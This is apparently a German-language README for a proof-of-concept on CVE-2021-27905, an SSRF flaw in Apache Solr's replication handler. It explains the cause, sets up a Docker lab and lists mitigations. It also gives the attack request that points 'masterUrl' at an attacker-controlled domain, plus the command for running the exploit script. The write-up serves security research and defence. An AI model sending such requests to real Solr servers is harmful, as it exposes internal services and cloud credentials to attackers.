CVE-2021-27905

Nur für Bildungs- und Forschungszwecke. Verwenden Sie diesen Code nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Ich übernehme keine Verantwortung für Missbrauch.

Overview

Hierbei handelt es sich um eine Server-Side-Request-Forgery-Schwachstelle, die Apache Solr (< 8.8.2) betrifft. Sie ermöglicht es entfernten Angreifern, über den Parameter masterUrl des Replication-Handlers beliebige HTTP-Anfragen an interne oder externe Systeme zu senden und dabei potenziell interne Dienste oder sensible Cloud-Metadaten offenzulegen.

Betroffene Versionen: Alle Versionen vor 8.8.2 (7.0.0 - 7.7.3, 8.0.0 - 8.8.1)

Root Cause

Der Replikationsmechanismus in Solr erlaubt es einer „Replica“, Indexdateien von einem „Master/Leader“ abzurufen, indem sie einen masterUrl- oder leaderUrl-Parameter angibt. Die über diesen Parameter angegebene URL wird in den betroffenen Apache Solr-Versionen nicht ausreichend validiert. Dadurch können Angreifer den Server dazu bringen, auf eine von ihnen gewählte remote Ressource zuzugreifen.

Verwundbarer Ablauf

• Ein Angreifer sendet eine Anfrage an einen Endpunkt wie:

/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>

Solrs ReplicationHandler wird:

1. Die Anfrage akzeptieren.
2. Die bereitgestellte masterUrl verwenden, um Indexdaten herunterzuladen.
3. Intern einen HTTP-Aufruf an diese Adresse tätigen.

Proof Of Concept

LABORAUFBAU

• Ein Labor kann lokal mit Docker eingerichtet werden:

$ cd lab
$ docker compose up -d

# Zugriff überprüfen
$ curl http://127.0.0.1:8983/solr

• Bereinigung

$ docker compose down

AUSNUTZUNG

• Virtuelle Umgebung einrichten:

# für Windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# für Linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate

• Abhängigkeiten installieren:

$ pip install -r requirements.txt

• cve-2021-27905.py ausführen

$ python3 cve-2021-27905.py --target <ZIEL> --payload <SSRF_PAYLOAD>

Mitigation (8.8.2+)

Solrs ReplicationHandler wurde gepatcht, um:

• Zu validieren, dass masterUrl/leaderUrl nur auf erlaubte Hosts verweist.
• Zulässige URL-Schemata einzuschränken (nur http, https).
• Remote-Streaming-Funktionen zu härten.
• Administratoren zu empfehlen, /replication mit Authentifizierung zu sichern oder ganz zu entfernen, falls nicht benötigt.

Reference

• https://nvd.nist.gov/vuln/detail/CVE-2021-27905
• https://lists.apache.org/thread/90kct018gfdnvh9wh5xvt0grm9jk2l80